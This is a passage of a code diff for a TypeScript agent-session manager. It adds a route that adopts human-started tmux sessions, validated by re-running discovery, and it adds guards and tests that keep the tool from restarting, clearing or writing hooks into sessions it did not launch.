+    if (session.isAdopted) {
+      return createErrorResponse(
+        ApiErrorCode.INVALID_INPUT,
+        'Respawn is not available for adopted sessions: Codeman did not start this agent and must not drive its lifecycle'
+      );
+    }
     // Respawn is not supported for external-CLI sessions (opencode/codex)
     if (isExternalCliMode(session.mode)) {
       return createErrorResponse(ApiErrorCode.INVALID_INPUT, `Respawn is not supported for ${session.mode} sessions`);
@@ -241,6 +252,17 @@ export function registerRespawnRoutes(
       return createErrorResponse(ApiErrorCode.SESSION_BUSY, 'Session is busy');
     }
 
+    // ⚠️ Adoption gate, kept SEPARATE from the external-CLI gate above: an adopted
+    // session can be `mode: 'claude'` and still be a process we never launched.
+    // Everything below drives the pane on the assumption Codeman owns what runs
+    // in it — sending `/clear`, killing and relaunching the agent — which against
+    // someone else's live session is destructive, not merely unsupported.
+    if (session.isAdopted) {
+      return createErrorResponse(
+        ApiErrorCode.INVALID_INPUT,
+        'Respawn is not available for adopted sessions: Codeman did not start this agent and must not drive its lifecycle'
+      );
+    }
     // Respawn is not supported for external-CLI sessions (opencode/codex)
     if (isExternalCliMode(session.mode)) {
       return createErrorResponse(ApiErrorCode.INVALID_INPUT, `Respawn is not supported for ${session.mode} sessions`);
@@ -310,6 +332,17 @@ export function registerRespawnRoutes(
     const body = reResult.data as { config?: Partial<RespawnConfig>; durationMinutes?: number };
     const session = findSessionOrFail(ctx, id, req);
 
+    // ⚠️ Adoption gate, kept SEPARATE from the external-CLI gate above: an adopted
+    // session can be `mode: 'claude'` and still be a process we never launched.
+    // Everything below drives the pane on the assumption Codeman owns what runs
+    // in it — sending `/clear`, killing and relaunching the agent — which against
+    // someone else's live session is destructive, not merely unsupported.
+    if (session.isAdopted) {
+      return createErrorResponse(
+        ApiErrorCode.INVALID_INPUT,
+        'Respawn is not available for adopted sessions: Codeman did not start this agent and must not drive its lifecycle'
+      );
+    }
     // Respawn is not supported for external-CLI sessions (opencode/codex)
     if (isExternalCliMode(session.mode)) {
       return createErrorResponse(ApiErrorCode.INVALID_INPUT, `Respawn is not supported for ${session.mode} sessions`);

src/web/routes/session-routes.ts

@@ -34,6 +34,17 @@ import {
   type OmpConfig,
   type RemoteHost,
 } from '../../types.js';
+import { AdoptForeignSessionSchema } from '../schemas.js';
+import {
+  discoverForeignSessions,
+  invalidateForeignCache,
+  readAllDockerCases,
+  readAllRemoteHosts,
+} from '../../foreign-tmux-discovery.js';
+import { adoptTargetIdentity, foreignTargetKey, foreignViewSessionName } from '../../foreign-tmux.js';
+import { requireAdmin } from '../route-helpers.js';
+import type { SessionAdopt } from '../../types/session.js';
+import type { ForeignTmuxSession } from '../../types/foreign-tmux.js';
 import {
   GuardedInputBusyError,
   Session,
@@ -1490,6 +1501,187 @@ export function registerSessionRoutes(
     };
   });
 
+  // ========== Adopt a foreign tmux session ==========
+
+  /**
+   * The wrapper pane for an adopted session runs `tmux attach`, never the agent,
+   * so it needs no workspace, and must not borrow the foreign one. Same value
+   * `resolveMuxAttachCwd()` gives remote and docker panes.
+   */
+  const ADOPTED_WRAPPER_WORKING_DIR = '/tmp';
+
+  /**
+   * Targets with a wrapper being created right now. The live-session check alone
+   * leaves a gap: between it and `addSession` the route awaits the host registries,
+   * the history config and the owner's layout lock, so two devices opening one row
+   * could each pass it.
+   */
+  const adoptsInFlight = new Set<string>();
+
+  /**
+   * Wrap a tmux session a HUMAN started (local, in a container, or over ssh) in a
+   * Codeman session, so it appears as a tab and can be driven from the browser.
+   *
+   * Four things make this safe, and each is load-bearing:
+   *
+   * 1. **The body carries only an opaque id.** The socket path, session name and
+   *    host are re-resolved by re-running discovery here. A browser therefore
+   *    never supplies a fragment of the command we are about to run, which is the
+   *    same rule that keeps docker-adopt and remote-attach injection-free.
+   * 2. **The candidate must still exist.** Discovery is re-run rather than cached,
+   *    so a session that died between the listing and the click fails with a 404
+   *    instead of producing a wrapper attached to nothing.
+   * 3. **One wrapper per target.** Two wrappers on one foreign session would each
+   *    create their own grouped view and each think they own the tab; the guard
+   *    is here rather than in the button's in-flight lock, which only stops a
+   *    double-click on one device.
+   * 4. **Admin-only under multi-user.** Discovery already is (it exposes other
+   *    users' processes), and adopting someone's `shell` is arbitrary execution
+   *    as the server account, which is exactly what the `can-bypass-permissions`
+   *    grant gates elsewhere. The admin gate subsumes it, so there is deliberately
+   *    no second grant check here.
+   */
+  app.post('/api/sessions/adopt', async (req, reply) => {
+    if (isMultiUserMode() && !requireAdmin(req, reply)) return;
+
+    const owner = ownerFor(req);
+    const body = parseBody(AdoptForeignSessionSchema, req.body, 'Invalid request body');
+
+    // Re-resolve rather than trust: point 1 and 2 above.
+    const found = await discoverForeignSessions({
+      local: true,
+      force: true,
+      dockerCases: body.docker ? await readAllDockerCases() : undefined,
+      remoteHosts: body.remote ? await readAllRemoteHosts() : undefined,
+    });
+    const target = found.sessions.find((f) => f.id === body.id);
+    if (!target) {
+      // ⚠️ "Not in the re-resolve" has two very different causes and they must not
+      // be reported as one. The session really being gone is the ordinary case;
+      // the OTHER case is a location we could not reach this time, which on a
+      // flaky link makes a perfectly live remote session read as deleted. Measured
+      // against a real VM whose ssh path dropped ~10% of connections: clicking
+      // Open failed with "no longer there" while the session was sitting right
+      // there. Discovery already knows which it was: it wrote a note, so say so.
+      const reach = found.notes.filter((n) => !/skipped/.test(n));
+      return createErrorResponse(
+        ApiErrorCode.NOT_FOUND,
+        reach.length
+          ? `Could not reach it just now (${reach.join('; ')}). It may still be running, try again.`
+          : 'That tmux session is no longer there. Refresh the list and try again.'
+      );
+    }
+
+    // Point 3: one wrapper per target. Live sessions and not mux records, which
+    // only exist once the first attach starts the pane, so reading those let a
+    // second adopt through before the first tab had started.
+    const targetKey = foreignTargetKey(target);
+    for (const session of ctx.sessions.values()) {
+      if (session.adopt && foreignTargetKey(adoptTargetIdentity(session.adopt)) === targetKey) {
+        return { session: ctx.getSessionStateWithRespawn(session), alreadyAdopted: true };
+      }
+    }
+    if (adoptsInFlight.has(targetKey)) {
+      return createErrorResponse(ApiErrorCode.SESSION_BUSY, 'That tmux session is already being opened');
+    }
+
+    // After the reuse above, which creates nothing and so must not be refused at capacity.
+    const capMsg = sessionCapacityMessage(ctx.sessions, owner);
+    if (capMsg) return createErrorResponse(ApiErrorCode.SESSION_BUSY, capMsg);
+
+    adoptsInFlight.add(targetKey);
+    try {
+      return await createAdoptedSession(req, target, owner, body);
+    } finally {
+      adoptsInFlight.delete(targetKey);
+    }
+  });
+
+  /** Everything past the guards in `POST /api/sessions/adopt`, held under its in-flight mark. */
+  async function createAdoptedSession(
+    req: FastifyRequest,
+    target: ForeignTmuxSession,
+    owner: string | undefined,
+    body: { name?: string; parentSessionId?: string }
+  ) {
+    // Connection facts are copied onto the session rather than referenced by id:
+    // a wrapper restored after a server restart must be able to rebuild its
+    // command even if the host registry was edited in the meantime.
+    const adopt: SessionAdopt = {
+      location: target.location,
+      socketPath: target.socketPath,
+      targetSession: target.sessionName,
+      viewSession: '',
+      paneCurrentPath: target.workingDir,
+    };
+
+    if (target.location === 'docker') {
+      const hosts = await readDockerHosts(CODEMAN_CONFIG_DIR);
+      const host = hosts.find((h) => h.id === target.hostId);
+      if (!target.containerName) {
+        return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Container name missing for a docker candidate');
+      }
+      adopt.docker = {
+        hostId: target.hostId ?? '',
+        label: target.hostLabel ?? target.containerName,
+        engine: host?.engine ?? 'docker',
+        containerName: target.containerName,
+        daemonHost: host?.daemonHost,
+        context: host?.context,
+      };
+    } else if (target.location === 'remote') {
+      const host = (await readRemoteHosts(CODEMAN_CONFIG_DIR)).find((h) => h.id === target.hostId);
+      if (!host) return createErrorResponse(ApiErrorCode.NOT_FOUND, 'Remote host not found');
+      adopt.remote = {
+        hostId: host.id,
+        label: host.label,
+        host: host.host,
+        username: host.username,
+        port: host.port,
+        identityFile: host.identityFile,
+        socksProxy: host.socksProxy,
+        jumpHost: host.jumpHost,
+        extraSshOptions: host.extraSshOptions,
+      };
+    }
+
+    const adoptHistoryConfig = await ctx.getTerminalHistoryConfig();
+
+    // ⚠️ The wrapper's `workingDir` is a NEUTRAL LOCAL path, never the foreign
+    // pane's cwd. That cwd is an observation about another machine: it can carry
+    // characters outside SAFE_PATH_PATTERN (`~/c++`, `Program Files (x86)`), which
+    // makes `createSession` throw so the tab never starts at all, and when it is a
+    // container or ssh path every local consumer of `workingDir` — the Files panel,
+    // the boot hook sweep, the fs watchers — reads it as a path on THIS host. The
+    // foreign cwd stays on `adopt.paneCurrentPath`, which is for display only.
+    // `/tmp` is the same neutral cwd `resolveMuxAttachCwd` already gives the pane.
+    const session = new Session({
+      workingDir: ADOPTED_WRAPPER_WORKING_DIR,
+      mode: target.mode,
+      name: body.name || target.sessionName,
+      mux: ctx.mux,
+      useMux: true,
+      tmuxHistoryLimit: adoptHistoryConfig.tmuxHistoryLimit,
+      adopt,
+      owner,
+      parentSessionId: resolveParentSessionId(ctx, req, body.parentSessionId, owner),
+    });
+    // The view session name is derived from the Codeman session id, so it can only
+    // be filled once the Session exists.
+    adopt.viewSession = foreignViewSessionName(session.id);
+
+    await ctx.addSession(session);
+    ctx.store.incrementSessionsCreated();
+    ctx.persistSessionState(session);
+    await ctx.setupSessionListeners(session);
+    getLifecycleLog().log({ event: 'created', sessionId: session.id, name: session.name });
+    invalidateForeignCache();
+
+    const lightState = ctx.getSessionStateWithRespawn(session);
+    ctx.broadcast(SseEvent.SessionCreated, lightState);
+    return { session: lightState, adopted: true };
+  }
+
   // ========== Rename Session ==========
 
   app.put('/api/sessions/:id/name', async (req) => {
@@ -1553,6 +1745,13 @@ export function registerSessionRoutes(
         'Custom model endpoints are not supported for remote (SSH) or Docker sessions yet'
       );
     }
+    // Its own check: this restarts the CLI in the pane, and an adopted pane's CLI is not ours to restart.
+    if (session.isAdopted) {
+      return createErrorResponse(
+        ApiErrorCode.INVALID_INPUT,
+        'Custom model endpoints are not available for adopted sessions: Codeman did not start this agent'
+      );
+    }
     if (session.isBusy()) {
       return createErrorResponse(ApiErrorCode.SESSION_BUSY, 'Session is busy');
     }
@@ -1912,6 +2111,10 @@ export function registerSessionRoutes(
       // and belongs in its own PR, not in a refactor that is meant to change nothing.
       if (
         !isExternalCliMode(session.mode) &&
+        // ⚠️ And never for an adopted session, whose mode can be claude while the
+        // agent in that pane belongs to someone else. Kept as its own clause for
+        // the same reason the respawn and Ralph routes keep theirs separate.
+        !session.isAdopted &&
         ctx.store.getConfig().ralphEnabled &&
         !session.ralphTracker.autoEnableDisabled
       ) {
@@ -2850,7 +3053,13 @@ export function registerSessionRoutes(
    * effort: the tab rename has already happened and must not fail on this.
    */
   async function syncClaudeTitle(session: Session): Promise<void> {
-    if (getCli(session.mode)?.capabilities.transcript !== 'claude-jsonl' || session.remote || session.docker) return;
+    if (
+      getCli(session.mode)?.capabilities.transcript !== 'claude-jsonl' ||
+      session.remote ||
+      session.docker ||
+      session.isAdopted
+    )
+      return;
     try {
       const projectsDir = join(process.env.HOME || '/tmp', '.claude', 'projects');
       const hookPath = ctx.getTranscriptPath(session.id);
@@ -2928,6 +3137,17 @@ export function registerSessionRoutes(
   // The body of GET /api/sessions/:id/last-response, so the Discord bridge reads the same transcript
   // the response viewer does (per-CLI reader, pane fallback) without a second copy of this logic.
   const lastResponseFor = async (session: Session, context?: string) => {
+    // ⚠️ An adopted session has no transcript Codeman can name. Every reader below pairs one by
+    // the id Codeman launched the CLI with or by the session's folder, and neither means anything
+    // here: the CLI chose its own id, and the folder is the neutral `/tmp`, so the newest file for
+    // that folder would be another conversation's answer shown as this one's. Nothing said yet is
+    // the honest answer.
+    if (session.isAdopted) {
+      return context === 'full' || context === 'turn'
+        ? { text: '', timestamp: '', messages: [] }
+        : { text: '', timestamp: '' };
+    }
+
     // Codex sessions don't write to ~/.claude/projects — their transcripts
     // live in ~/.codex/sessions/**. Branch to a Codex-specific reader so the
     // response-viewer works for Codex panes too.
@@ -3658,6 +3878,16 @@ export function registerSessionRoutes(
     const { id } = req.params as { id: string };
     const body = parseBody(AutoClearSchema, req.body, 'Invalid request body');
     const session = findSessionOrFail(ctx, id, req);
+    // ⚠️ Separate from the external-CLI gate on purpose: an adopted session's mode
+    // can perfectly well BE claude, and this drives the pane of a session someone
+    // else is using. Merging the two checks means a future change to the
+    // external-CLI rule silently reopens this one.
+    if (session.isAdopted) {
+      return createErrorResponse(
+        ApiErrorCode.INVALID_INPUT,
+        'Auto-clear is not available for adopted sessions: Codeman did not start this agent and must not drive it'
+      );
+    }
 
     session.setAutoClear(body.enabled, body.threshold);
     persistAndBroadcastSession(ctx, session);
@@ -3679,6 +3909,16 @@ export function registerSessionRoutes(
     const { id } = req.params as { id: string };
     const body = parseBody(AutoCompactSchema, req.body, 'Invalid request body');
     const session = findSessionOrFail(ctx, id, req);
+    // ⚠️ Separate from the external-CLI gate on purpose: an adopted session's mode
+    // can perfectly well BE claude, and this drives the pane of a session someone
+    // else is using. Merging the two checks means a future change to the
+    // external-CLI rule silently reopens this one.
+    if (session.isAdopted) {
+      return createErrorResponse(
+        ApiErrorCode.INVALID_INPUT,
+        'Auto-compact is not available for adopted sessions: Codeman did not start this agent and must not drive it'
+      );
+    }
 
     session.setAutoCompact(body.enabled, body.threshold, body.prompt);
     persistAndBroadcastSession(ctx, session);
@@ -3741,8 +3981,11 @@ export function registerSessionRoutes(
     const { id } = req.params as { id: string };
     const body = parseBody(GitFetchSettingsSchema, req.body, 'Invalid request body');
     const session = findSessionOrFail(ctx, id, req);
-    if (session.remote || session.docker) {
-      return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Git fetch does not run for remote or Docker sessions');
+    if (session.remote || session.docker || session.isAdopted) {
+      return createErrorResponse(
+        ApiErrorCode.INVALID_INPUT,
+        'Git fetch does not run for remote, Docker or adopted sessions'
+      );
     }
 
     const enabled = 'enabled' in body ? (body.enabled ?? undefined) : session.gitFetchEnabled;
@@ -3768,6 +4011,16 @@ export function registerSessionRoutes(
     const { id } = req.params as { id: string };
     const body = parseBody(AutoResumeSchema, req.body, 'Invalid request body');
     const session = findSessionOrFail(ctx, id, req);
+    // ⚠️ Separate from the external-CLI gate on purpose: an adopted session's mode
+    // can perfectly well BE claude, and this drives the pane of a session someone
+    // else is using. Merging the two checks means a future change to the
+    // external-CLI rule silently reopens this one.
+    if (session.isAdopted) {
+      return createErrorResponse(
+        ApiErrorCode.INVALID_INPUT,
+        'Auto-resume is not available for adopted sessions: Codeman did not start this agent and must not drive it'
+      );
+    }
 
     session.setAutoResume(body.enabled);
     persistAndBroadcastSession(ctx, session);
@@ -3838,6 +4091,10 @@ export function registerSessionRoutes(
     if (body.enabled && session.remote) {
       return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Image watching does not run for remote sessions');
     }
+    // An adopted session's folder is the neutral wrapper folder, not the foreign pane's work.
+    if (body.enabled && session.isAdopted) {
+      return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Image watching does not run for adopted sessions');
+    }
 
     if (body.enabled) {
       imageWatcher.watchSession(session.id, session.workingDir);
@@ -5804,6 +6061,13 @@ export function registerSessionRoutes(
         'Prompt uploads are not supported for remote (SSH) sessions'
       );
     }
+    // An adopted session has no workspace of ours: its folder is the neutral `/tmp`, shared with
+    // whatever else runs there, and an agent in a container or on an ssh host could not read it.
+    // The foreign pane's own folder is not ours to write into either.
+    if (session.isAdopted) {
+      reply.code(400);
+      return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Prompt uploads are not supported for adopted sessions');
+    }
 
     // The upload is written under session.workingDir (ensureUploadDir below), and
     // a live session's workspace can sit on a network mount that stopped answering.

src/web/routes/system-routes.ts

@@ -1185,9 +1185,10 @@ export function registerSystemRoutes(
       // Handle image watcher toggle dynamically
       toggleService((merged.imageWatcherEnabled as boolean) ?? false, imageWatcher, 'Image watcher', () => {
         // Re-watch all active sessions that have image watcher enabled (never a remote session: its
-        // workingDir is a path on the remote host, not on this disk)
+        // workingDir is a path on the remote host, not on this disk; nor an adopted one, whose folder
+        // is the neutral wrapper folder and not the foreign pane's work)
         for (const session of ctx.sessions.values()) {
-          if (session.imageWatcherEnabled && !session.remote) {
+          if (session.imageWatcherEnabled && !session.remote && !session.isAdopted) {
             imageWatcher.watchSession(session.id, session.workingDir);
           }
         }

src/web/schemas.ts

@@ -2523,6 +2523,27 @@ export const CustomModelSelectionSchema = z.union([
   }),
   z.object({ clear: z.literal(true) }),
 ]);
+/**
+ * Adopt a FOREIGN tmux session (one a human started outside Codeman).
+ *
+ * ⚠️ The body carries ONLY the opaque candidate id from `GET /api/mux/foreign`.
+ * The socket path, session name and host are re-resolved server-side by re-running
+ * discovery, so a browser can never hand the launch chain a path or a session name
+ * to interpolate. That is the same discipline that keeps the docker-adopt and
+ * remote-attach paths free of caller-supplied command fragments.
+ */
+export const AdoptForeignSessionSchema = z
+  .object({
+    id: z.string().min(1).max(64),
+    /** Optional tab name; defaults to the foreign session's own name. */
+    name: z.string().max(128).optional(),
+    /** Include docker locations in the re-resolve (must match the listing call). */
+    docker: z.boolean().optional(),
+    /** Include remote locations in the re-resolve. */
+    remote: z.boolean().optional(),
+    parentSessionId: z.string().max(64).optional(),
+  })
+  .strict();
 
 /** Agent inspection bounds are bytes of evidence, independent of the JSON envelope. */
 export const AgentInspectQuerySchema = z

src/web/server.ts

@@ -569,9 +569,10 @@ export class WebServer extends EventEmitter {
     agentExited: (id) => !!this.sessions.get(id)?.paneExit,
     awaitingChoice: (id) => approvalInbox.listPending().some((item) => item.sessionId === id && item.kind !== 'idle'),
     // Remote (ssh) sessions keep their folder on another host, so received files have nowhere local to go.
+    // An adopted session's folder is the neutral wrapper folder, which its agent need not be able to read.
     sessionDir: (sessionId) => {
       const session = this.sessions.get(sessionId);
-      return session && !session.remote ? session.workingDir : undefined;
+      return session && !session.remote && !session.isAdopted ? session.workingDir : undefined;
     },
   });
   private teamWatcher: TeamWatcher = new TeamWatcher();
@@ -2207,7 +2208,9 @@ export class WebServer extends EventEmitter {
     // fs.watch()es it on the LOCAL disk, so a remote session only records the path: the fix plan stays
     // authoritative as for a local session (keeping the output-based completion guessers off), and its
     // file is read over ssh only on an explicit import (fix-plan/read).
-    if (!isExternalCliMode(session.mode)) {
+    // ⚠️ An ADOPTED session is skipped outright: Ralph is refused for one anyway, and its
+    // `workingDir` is the neutral wrapper folder, not the foreign pane's work.
+    if (!isExternalCliMode(session.mode) && !session.isAdopted) {
       if (session.remote) {
         session.ralphTracker.setRemoteWorkingDir(session.workingDir);
       } else {
@@ -2217,8 +2220,10 @@ export class WebServer extends EventEmitter {
 
     // Start watching for new images in this session's working directory (if enabled globally and per-session).
     // A remote session's workingDir is a path on the remote host, and the watcher watches it on the LOCAL
-    // disk, so it is skipped there (the per-session and app-wide toggles skip it too).
-    if ((await this.isImageWatcherEnabled()) && session.imageWatcherEnabled && !session.remote) {
+    // disk, so it is skipped there (the per-session and app-wide toggles skip it too). An ADOPTED session
+    // is skipped for the same reason as the Ralph watcher above: nothing in its wrapper folder is the
+    // foreign pane's work.
+    if ((await this.isImageWatcherEnabled()) && session.imageWatcherEnabled && !session.remote && !session.isAdopted) {
       imageWatcher.watchSession(session.id, session.workingDir);
     }
 
@@ -2305,6 +2310,9 @@ export class WebServer extends EventEmitter {
   ): Promise<void> {
     const session = this.sessions.get(sessionId);
     if (!session) return;
+    // ⚠️ A link scanned from an adopted pane was printed by a process on another host or in a
+    // container, while confinement here would be to this host's `/tmp`, the wrapper's folder.
+    if (session.isAdopted) return;
     const event =
       source === 'codex-generated'
         ? await registerGeneratedArtifactAttachment({
@@ -4152,6 +4160,14 @@ export class WebServer extends EventEmitter {
               // MuxSession.docker; state.json carries SessionState.docker), so recovery
               // rebuilds the `docker exec` launch instead of a broken local command.
               docker: muxSession.docker ?? savedState?.docker,
+              // Adoption metadata round-trips for the same reason remote/docker do,
+              // and one more: it is the ONLY thing that marks this session as
+              // wrapping a process Codeman never launched. Dropping it on recovery
+              // silently re-enabled respawn, Ralph and hook-backed waits against
+              // someone else's live tmux session after every server restart —
+              // measured, not hypothetical. The mux record is preferred because it
+              // is what `killSession`'s detach-not-kill guard already reads.
+              adopt: muxSession.adopt ?? savedState?.adopt,
               owner: recoveredOwner,
               // Tab lineage survives a restart. It is only decoration, so a parent
               // that did NOT come back is harmless: the frontend draws an edge only
@@ -4435,6 +4451,13 @@ export class WebServer extends EventEmitter {
     const workspaces = new Set<string>();
     for (const session of this.sessions.values()) {
       if (session.mode !== 'claude' || session.remote) continue;
+      // ⚠️ An ADOPTED session is not caught by the `remote` check above: its
+      // connection facts live on `adopt.remote` / `adopt.docker`, so a session
+      // wrapping someone's in-container or over-ssh claude looks local here.
+      // Its workspace was never Codeman's to begin with, so installing hooks
+      // there writes `.claude/settings.local.json` into the human's own repo —
+      // on EVERY restart, since this sweep runs from boot recovery.
+      if (session.isAdopted) continue;
       if (session.docker && !session.docker.hooksEnabled) continue;
       if (session.workingDir) workspaces.add(session.workingDir);
     }

src/web/session-wait-registry.ts

@@ -200,6 +200,18 @@ export interface HookCapabilityOptions {
    * timeout on every turn.
    */
   deepSeekBridgeUnreachable?: boolean;
+  /**
+   * True when the session is a WRAPPER around a tmux session a human started
+   * outside Codeman.
+   *
+   * This one overrides the mode entirely, and it has to: an adopted session can
+   * be `mode: 'claude'` and still have no hooks, because hooks are installed into
+   * a WORKSPACE at session-create time (`applyWorkspaceHooks`) and we never
+   * created this one. Answering from the mode there would promise `stop` and
+   * `blocked` for a process that can never post either — the exact
+   * infinite-wait-dressed-as-a-timeout this predicate exists to prevent.
+   */
+  adopted?: boolean;
 }
 
 /**
@@ -234,6 +246,9 @@ export interface HookCapabilityOptions {
  * function only about hook SIGNALS.
  */
 export function hooksAvailableForMode(mode: SessionMode, options: HookCapabilityOptions = {}): boolean {
+  // Checked BEFORE the mode: adoption is about who launched the process, and no
+  // mode can vouch for a workspace Codeman never touched. See `adopted` above.
+  if (options.adopted) return false;
   // A TRI-state capability, not a boolean, because the three answers are genuinely
   // different questions — see CliCapabilities.hooks.
   switch (getCli(mode)?.capabilities.hooks) {
@@ -269,10 +284,12 @@ export function sessionHookOptions(session: {
   deepSeekStatusReporting?: boolean;
   docker?: unknown;
   remote?: unknown;
+  adopt?: unknown;
 }): HookCapabilityOptions {
   return {
     deepSeekStatusReporting: session.deepSeekStatusReporting,
     deepSeekBridgeUnreachable: Boolean(session.docker || session.remote),
+    adopted: Boolean(session.adopt),
   };
 }
 

test/agent-staging-session.test.ts

@@ -3,6 +3,7 @@ import { expect, it, vi } from 'vitest';
 import { formatPaneSnapshot } from '../src/tmux-manager.js';
 import { Session } from '../src/session.js';
 import { promptSha256 } from '../src/agent-staging.js';
+import type { SessionAdopt } from '../src/types/session.js';
 it('fences writes and reused-pid pane lifecycles without persisting prompt content', async () => {
   let screen = '› \n  GPT-6-Luna default · ~/case\n';
   const mux = {
@@ -542,3 +543,37 @@ it('stages through a real session whose first post-write capture is the torn fra
     await session.stop(false);
   }
 });
+
+it('offers no guarded input on an adopted pane, however much it looks like a composer', () => {
+  // Stage and submit type a prompt on an agent's behalf, here into a pane a human is using.
+  const screen = '\u203a \n  GPT-6-Luna default \u00b7 ~/case\n';
+  const mux = {
+    isAvailable: () => true,
+    capturePaneBuffer: (
+      _name: string,
+      _pane?: string,
+      opts?: { capturedGeometry?: { cols: number; rows: number } }
+    ) => {
+      if (opts) opts.capturedGeometry = { cols: 100, rows: 20 };
+      return formatPaneSnapshot(screen.trimEnd().split('\n'), { cols: 100, rows: 20, cursorX: 2, cursorY: 0 });
+    },
+    sendInput: async () => true,
+  };
+  const build = (adopt?: SessionAdopt) =>
+    new Session({
+      workingDir: '/tmp',
+      mode: 'codex',
+      mux,
+      adopt,
+      muxSession: { muxName: 'codeman-test', sessionId: 'test', createdAt: 1, pid: 12345 },
+    } as unknown as ConstructorParameters<typeof Session>[0]);
+  expect(build().guardedInputSnapshot()).not.toBeNull();
+  expect(
+    build({
+      location: 'local',
+      socketPath: '/tmp/tmux-1000/default',
+      targetSession: 'work',
+      viewSession: 'codeman-view-00000000',
+    }).guardedInputSnapshot()
+  ).toBeNull();
+});

test/docker-adopted-container.test.ts

@@ -218,8 +218,15 @@ describe('adopted container: the host is not required to have the CLI', () => {
     expect(src.match(/if \(mode === '[a-z]+' && !cliDir\)/g)).toBeNull();
   });
 
-  it('derives the flag from the docker metadata the session already carries', () => {
-    expect(src).toContain('const cliRunsInContainer = !!docker;');
+  it('derives the flag from the location metadata the session already carries', () => {
+    // Adoption joined the condition for the same reason docker is in it: an
+    // adopted session's CLI was started by a human in a process Codeman never
+    // spawned, so the host binary is irrelevant there too — and demanding it
+    // would reject adopting a claude that lives in a container, on an ssh host,
+    // or simply outside the server process's PATH (the systemd/launchd case).
+    // What the assertion still pins is that the flag comes from the session's
+    // OWN metadata rather than from anything ambient.
+    expect(src).toContain('const cliRunsInContainer = !!docker || !!adopt;');
   });
 });
 

test/edit-history-sync.test.ts

@@ -174,6 +174,7 @@ describe('unsupportedReason', () => {
     expect(unsupportedReason(remote)).toBeUndefined();
     expect(unsupportedReason({ ...remote, docker: { image: 'x' } })).toBe('docker');
     expect(unsupportedReason({ ...local, docker: { image: 'x' } })).toBe('docker');
+    expect(unsupportedReason({ ...local, adopt: { location: 'local' } })).toBe('adopted');
     expect(unsupportedReason({ ...local, mode: 'shell' })).toBe('mode');
   });
 });

test/foreign-adoption-guards.test.ts

@@ -0,0 +1,165 @@
+/**
+ * @fileoverview The adoption guards that are not reachable over HTTP: the
+ * boot-time workspace-hook sweep, the workspace-trust auto-accept and the
+ * new-shell clear.
+ *
+ * Each acts on a session's WORKSPACE or its PANE, each runs unattended, and each
+ * previously keyed off `session.remote`, the mode or nothing at all, none of which
+ * sees an adopted session, whose connection facts live on `adopt.remote` /
+ * `adopt.docker`. So a tab wrapping someone's claude read as a plain local
+ * claude: Codeman wrote `.claude/settings.local.json` into their repo on every
+ * restart, and answered a trust dialog that was theirs to answer.
+ *
+ * Each one is paired with a session Codeman DID start — without that control,
+ * "nothing was written" is equally explained by a disabled setting or a loop
+ * that never ran.
+ *
+ * Port: none (no server is listened on).
+ */
+import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
+
+const applyWorkspaceHooks = vi.fn(async () => {});
+vi.mock('../src/hooks-config.js', async (importOriginal) => {
+  const actual = await importOriginal<typeof import('../src/hooks-config.js')>();
+  return { ...actual, applyWorkspaceHooks: (...args: unknown[]) => applyWorkspaceHooks(...(args as [])) };
+});
+
+const { WebServer } = await import('../src/web/server.js');
+const { Session } = await import('../src/session.js');
+
+type AnySession = Record<string, unknown>;
+
+/** The minimum a session needs to reach the sweep's `workspaces` set. */
+function fakeSession(over: AnySession): AnySession {
+  return { mode: 'claude', workingDir: '/srv/app', isAdopted: false, ...over };
+}
+
+describe('the boot workspace-hook sweep', () => {
+  let server: InstanceType<typeof WebServer>;
+
+  beforeEach(() => {
+    applyWorkspaceHooks.mockClear();
+    server = new WebServer(0);
+    (server as unknown as { getWorkspaceHooksEnabled: () => Promise<boolean> }).getWorkspaceHooksEnabled = async () =>
+      true;
+  });
+  afterEach(async () => {
+    await server.stop().catch(() => {});
+  });
+
+  const sweep = async (sessions: AnySession[]) => {
+    const map = new Map<string, AnySession>();
+    sessions.forEach((s, i) => map.set(`s${i}`, s));
+    (server as unknown as { sessions: Map<string, AnySession> }).sessions = map;
+    await (
+      server as unknown as { ensureHooksForRecoveredWorkspaces: () => Promise<void> }
+    ).ensureHooksForRecoveredWorkspaces();
+    return applyWorkspaceHooks.mock.calls.map((c) => c[0]);
+  };
+
+  it('installs hooks into a workspace Codeman owns', async () => {
+    expect(await sweep([fakeSession({ workingDir: '/srv/ours' })])).toContain('/srv/ours');
+  });
+
+  it('skips an adopted session even though its mode is claude and `remote` is unset', async () => {
+    // This is the exact shape the bug had: the ssh/docker facts hang off
+    // `adopt`, so the pre-existing `session.remote` check sees nothing.
+    const adopted = fakeSession({
+      workingDir: '/home/them/repo',
+      isAdopted: true,
+      adopt: { location: 'remote', remote: { host: 'box' } },
+    });
+    expect(await sweep([adopted])).not.toContain('/home/them/repo');
+  });
+
+  it('still skips a plain remote session — the older rule is untouched', async () => {
+    expect(await sweep([fakeSession({ workingDir: '/srv/far', remote: { host: 'box' } })])).not.toContain('/srv/far');
+  });
+});
+
+describe('the workspace-trust auto-accept', () => {
+  const makeSession = (adopt?: Record<string, unknown>) =>
+    new Session({
+      id: adopt ? 'adopt-trust' : 'own-trust',
+      name: 't',
+      workingDir: '/tmp',
+      mode: 'claude',
+      ...(adopt ? { adopt } : {}),
+      // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    } as any);
+
+  const scan = (s: InstanceType<typeof Session>) => {
+    const priv = s as unknown as {
+      _interactiveStartedAt: number;
+      _trustDialogAccepted: boolean;
+      _maybeAcceptTrustDialog: () => void;
+      _trustDialogTimer: unknown;
+    };
+    priv._interactiveStartedAt = Date.now(); // inside the 90s startup window
+    priv._trustDialogAccepted = false;
+    priv._maybeAcceptTrustDialog();
+    return priv;
+  };
+
+  it('arms the scan for a session Codeman started', async () => {
+    const s = makeSession();
+    const priv = scan(s);
+    expect(priv._trustDialogAccepted).toBe(false);
+    await s.stop(true).catch(() => {});
+  });
+
+  it('never answers a dialog in an adopted pane', async () => {
+    // That pane holds SOMEONE ELSE'S claude. And boot recovery re-opens the 90s
+    // window on every restart, so this is not a one-shot at adoption time.
+    const s = makeSession({
+      location: 'local',
+      socketPath: '/tmp/tmux-0/default',
+      targetSession: 'work',
+      viewSession: '',
+    });
+    const priv = scan(s);
+    expect(priv._trustDialogAccepted).toBe(true); // short-circuited, never scans again
